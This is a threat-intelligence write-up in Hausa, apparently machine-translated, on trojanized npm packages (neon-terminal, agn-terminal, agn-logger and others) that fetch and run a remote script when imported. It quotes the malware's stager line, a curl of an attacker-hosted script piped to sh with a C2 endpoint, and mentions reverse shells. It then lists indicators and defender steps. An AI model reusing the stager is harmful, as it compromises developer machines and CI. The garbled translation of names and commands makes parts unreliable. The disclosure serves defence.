TL, DR
An buga wani mai aiki na npm guda ɗaya fakiti biyar da aka yi wa trojan a cikin zagaye biyu a cikin kwana uku. Kunshin ya nuna kamar ƙaramin launi mai ƙarfi, mai rikodin bayanai, da kuma kayan aikin abokin ciniki na Postgres. Lambar ɓarna tana aiki lokacin da aka shigo da kunshin - babu rubutun shigarwa da za a kama.
Zagaye na ɗaya (neon-terminal, neon-postgres, ne-logger) ba a buga shi ba a ranar 2026-07-05 da ƙarfe 14:14 na yamma agogon UTC. Bayan mintuna saba'in da huɗu wannan asusun ya sake buga wannan trojan ɗin a ƙarƙashin sabbin sunaye (agn-terminal, agn-logger) - sannan ya nuna shi zuwa ga ƙarshen umarni da iko iri ɗaya ya yi amfani da shi a da: tracker.bvgroup.co.
Wannan mai masaukin C2 shine kawai alamar da ta tsira daga sake suna, kuma abu mafi sauri da mai tsaro zai nema. highTsarin muhalli: npmKunshin zagaye na biyu har yanzu suna nan a lokacin rubuta wannan labarin.
Harin: yadda yake aiki
Fakitin suna da amfani wajen yin amfani da su. tashar tashar agn kuma za ku sami cikakken mai taimakawa launi na ANSI mai aiki — lambobin, goyon bayan Launi, canza launi, fenti — da nau'ikan da README. Lambar amfani tana aiki. An ɗaure ta zuwa saman ɓangaren shigarwa, sama da lambar mai amfani, akwai wasu layuka kaɗan da ke gudana akan shigo da kaya.
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
Abubuwa uku ne suka sa wannan ya yi tasiri.
- Yana tashi a lokacin shigo da kaya, ba a lokacin shigarwa ba. Kunshin ya ayyana a'a shigarwa kafin lokaci or postinstall ƙugiya — inda na'urorin daukar hoto da masu bita suka saba gani. exec Kira lambar matakin module ce. Yana aiki a karon farko da wani abu ya yi buƙatar ("agn-tashar") or shigo da "agn-terminal", akan na'urar mai haɓakawa ko a cikin CI. Duk shigarwar ESM (src/index.jsda kuma shigar da CommonJS (cjs/src/index.js) suna ɗaukar nauyin iri ɗaya, don haka duka tsarin module ɗin an rufe su.
- Ainihin nauyin da ke cikin kunshin yana rayuwa ne daga kunshin. Kunshin yana jigilar layin layi ɗaya kawai: samo remote.agyn.org/remote.sh` sannan ka tura shi zuwa sh`. Duk abin da mai aiki ke bayarwa daga wannan URL ɗin a lokacin buƙata shine abin da ke gudana. Ana miƙa ƙarshen C2 zuwa rubutun da aka sauke ta hanyar TRACKER_REMOTE_ENDPOINT canjin yanayi, don haka rubutun mataki-biyu yana zuwa gida mai bin diddigi.bvgroup.co.
- Kunshin ɗaukar kaya yana faɗaɗa radius ɗin fashewar. agn-logger dabara ce ta biyu — “ƙaramin mai yin rajista a duniya.” Ba shi da nauyin kansa. Tsarin shigarsa yana yin abu ɗaya mai dacewa:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
Yana ayyanawa tashar tashar agn a matsayin dogaro da shigo da shi. Shigarwa ko shigo da mai rikodin yana jawowa kuma yana kunna kunshin ƙarshe a cikin ɗan lokaci. Aikin da ba ya taɓa yin suna ga Trojan kai tsaye ba har yanzu zai iya aiwatar da shi ta hanyar mai rikodin.
Me ke sabo a nan
A zagaye na farko ba a yi amfani da na'urar daukar hoto ta nesa ba. Ya aika da kayan da aka biya a layi kuma ya ƙara shi zuwa sigar - wani bash reverse shell a cikin wani fitarwa, a net.Soket harsashin baya a cikin na gaba, a ƙara git/commit/tura na kundin adireshi na aikin wanda aka azabtar a wani, kuma a ƙarshe cikakken wakilin umarni da iko na HTTP a cikin tashar neon 0.9.0 wanda ya yi rijistar mai masaukin baki, ya yi bincike kan ayyuka, ya gudanar da su da exec(), da kuma fitar da sakamakon da aka rubuta a cikin base64. Zagaye na biyu ya mayar da duk wannan zuwa guda ɗaya. lanƙwasa | sh, matsar da mataki na biyu daga rajista gaba ɗaya. Mai aiki ɗaya, kunshin shiru, ƙarin sassauƙan nauyin aiki - kuma, a taƙaice, C2 iri ɗaya kamar da.
tafiyar lokaci
Zagaye biyu sun kasance tsakanin kwanaki uku, kuma tazarar da ke tsakanin cirewa da sake farawa ita ce mintuna 74. Yaƙin neman zaɓe a buɗe yake: agn-* Ba a cire fakitin ba lokacin da aka rubuta wannan.
Alamomin sulhu
Bincika fayilolin kullewa da bishiyoyin dogaro don sunayen fakitin. Bincika wakili, DNS, da BDU rajista don ƙarshen hanyar sadarwa. Mai masaukin C2 mai bin diddigi.bvgroup.co yana zagaye biyu kuma shine mafi girman darajar maki ɗaya.
Pakete
tashar neon 0.1.0 iri ne mai tsabta - ɗakin karatu mai launi mai aiki ba tare da ɗaukar nauyi ba - wanda aka buga don kafa fakitin kafin sigar mugunta ta biyo baya.
Network
Ƙwararriya
- Matsayin-module tsarin_yara.exec a saman fayil ɗin shigarwa na fakitin kayan aiki, a duka biyun src/index.js (ESM) da kuma cjs/src/index.js (CJS).
- A curl -fsSL … | sh layi ɗaya tare da C2 ya wuce ta a TRACKER_REMOTE_ENDPOINT canjin yanayi.
- Kunshin "amfani" na biyu wanda ke bayyana na farko a matsayin abin dogaro kuma yana shigo da shi, ba tare da wani nauyin da ya rataya a wuyansa ba.
- Ragowar wani abu // tashar neon yi sharhi a saman tashar tashar agn - wani kayan tarihi da ke haɗa sake fasalin da asalin.
Hashes na fayil (SHA-256, zagaye na biyu)
- tashar tashar agn src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- tashar tashar agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Ba da izini da kuma ɗabi'ar da aka lura da ita
Kowane fakiti yana bin diddigin asusun npm guda ɗaya, vitalii-agyn, ana bugawa a ƙarƙashin imel ɗin da ba a tabbatar ba vitalii@agyn.ioBayanan rajista na asusun yana lissafa duk fakitin zagaye-daya guda uku kamar yadda yake kiyayewa. Kayayyakin more rayuwa suna haɗa zagayen tare: yankin agyn.org ya dace da na mai wallafa agyn.io yankin imel, da kuma mai masaukin C2 mai bin diddigi.bvgroup.co yana bayyana a duka biyun tashar neon 0.9.0 da tashar tashar agn 0.1.0 - hanyar mai tarawa iri ɗaya, an sake amfani da ita a zahiri bayan an sake suna.
Mun bayyana abin da kayayyakin tarihi suka nuna kuma muka tsaya a nan. Imel ɗin da mai wallafa ya bayyana shine vitalii@agyn.io; ba mu tabbatar da mallakar wannan adireshin ba, kuma ba ma danganta asusun ga kowane mutum ko rukuni da aka ambata ba. Sake amfani da maƙallin ƙarshe na C2 ɗaya a cikin iyalai biyu na fakiti alama ce mai ƙarfi ta mai aiki iri ɗaya, ba asali ba.
Kunshin zagaye ɗaya sun dogara ne akan kusancin alama. neon-postgres cikakken tsari ne na Porsager's da ake amfani da shi sosai postgres.js abokin ciniki, layin tagline da duk, tare da kayan aikin da aka saka a ciki src/kurakurai.js don haka hanyar shigo da kaya ta yau da kullun za ta isa gare ta - kuma neon- prefix ya yi la'akari da gane Neon, mai samar da Postgres mara uwar garken. Sunayen zagaye biyu sun watsar da kwaikwayon kuma suka zama na gama gari (tashar tashar agn, agn-logger), ciniki alama ce ta jawo hankali don samun sassauci daga sunayen da aka ƙone.
Tasiri, halaye, da jagorar mai kare
- Wanda aka fallasa. Duk wanda ya girka kuma ya shigo da ɗaya daga cikin waɗannan fakitin, kai tsaye ko ta hanyar mai ɗaukar kaya, akan mai masaukin Unix mai kama da Unix. Stager yana amfani da Curl da kuma sh; ana amfani da harsashi mai zagaye ɗaya Bash da kuma /dev/tcpDomin aiwatarwa tana faruwa ne a lokacin shigo da kaya, uwar garken ginawa wanda ke shigar da dogaro kuma yana gudanar da duk wani lambar da ta taɓa shi ya isa - babu buƙatar matakin bayan shigarwa. A kan wurin aiki na masu haɓakawa ko mai gudu na CI, matakin da aka sauke na biyu yana gudana tare da gata na mai amfani da cikakken damar hanyar sadarwa.
- Me yasa aiwatar da lokacin shigo da kaya yake da muhimmanci? Kariyar sarkar samar da kayayyaki ta mayar da hankali kan rubutun shigarwa, kuma saboda kyakkyawan dalili - postinstall shine tushen npm na gargajiya. Wannan kamfen ya kauce wa hakan gaba ɗaya. Babu ƙugiya don yin alama. malic code farawar module na yau da kullun ne, wanda ba za a iya bambance shi da kallo daga fakitin da ke lissafin teburin bincike a lokacin da ake lodi ba. Kayan aiki wanda kawai ke duba rubutun a cikin package.json ba ya ganin komai.
- Yanayin sake yin alama da sake amfani da shi. Labarin ya ɗauki tsawon mintuna 74. Takedown ya cire sunayen amma ba mai aiki ba, kayan more rayuwa, ko lambar. Cikin awa ɗaya kamfen ɗin ya sake tashi a ƙarƙashin sabbin sunaye da ke nuna C2 ɗaya. Toshewar da aka yi bisa suna - denylisting neon-terminal - da ya riga ya tsufa. Toshewar da aka yi bisa bisa ga kayayyakin more rayuwa - denylisting bvgroup.co - da ya kama zagaye na biyu da isowa. Ga mai aiki kai tsaye wanda ya sake bugawa da sauri fiye da cire rajista, alamar da ta daɗe ita ce ƙarshen hanyar sadarwa, ba sunan kunshin ba.
Abin da za a yi yanzu
- Fayilolin lockfiles na Grep da bishiyoyin da aka sanya don duk sunayen fakiti guda biyar da ke sama. Yi la'akari da duk wani daidaitawa a matsayin mai masaukin baki da aka lalata kuma juya takardun shaidar da za a iya isa gare su.
- Toshewa da kuma sanar da kai game da yankunan bvgroup.co, agyn.org, da kuma ƙarshen ngrok a cikin matattarar DNS da fitarwa. mai bin diddigi.bvgroup.co shine fifiko.
- Kada ka dogara ga na'urar daukar hoton shigarwa kawai. Ƙara ganowa don matakin module tsari na yaro da kiran cibiyar sadarwa a cikin dogaro, da kuma don lanƙwasa… | sh alamu a cikin tushen fakitin.
- Yi la'akari da fakitin kayan aiki wanda ya ayyana wani kayan aiki mara tsari a matsayin abin dogaro kawai, kuma ya shigo da shi yayin da ake buƙata, a matsayin abin da ya cancanci a sake duba shi.
- A cikin CI, fi son –Salantar-rubutun inda yake da amfani, amma a fahimci hakan ba ya taimakawa a nan - nauyin da ake biya yana gudana a lokacin shigo da kaya, don haka sarrafa fitowar lokaci da kuma sake duba dogaro suna da mahimmanci.
References
- Postgres mara uwar garken Neon - alamar neon-* sunaye aro gane daga.
- Porsager postgres.js - abokin ciniki neon-postgres an yi kwafi.
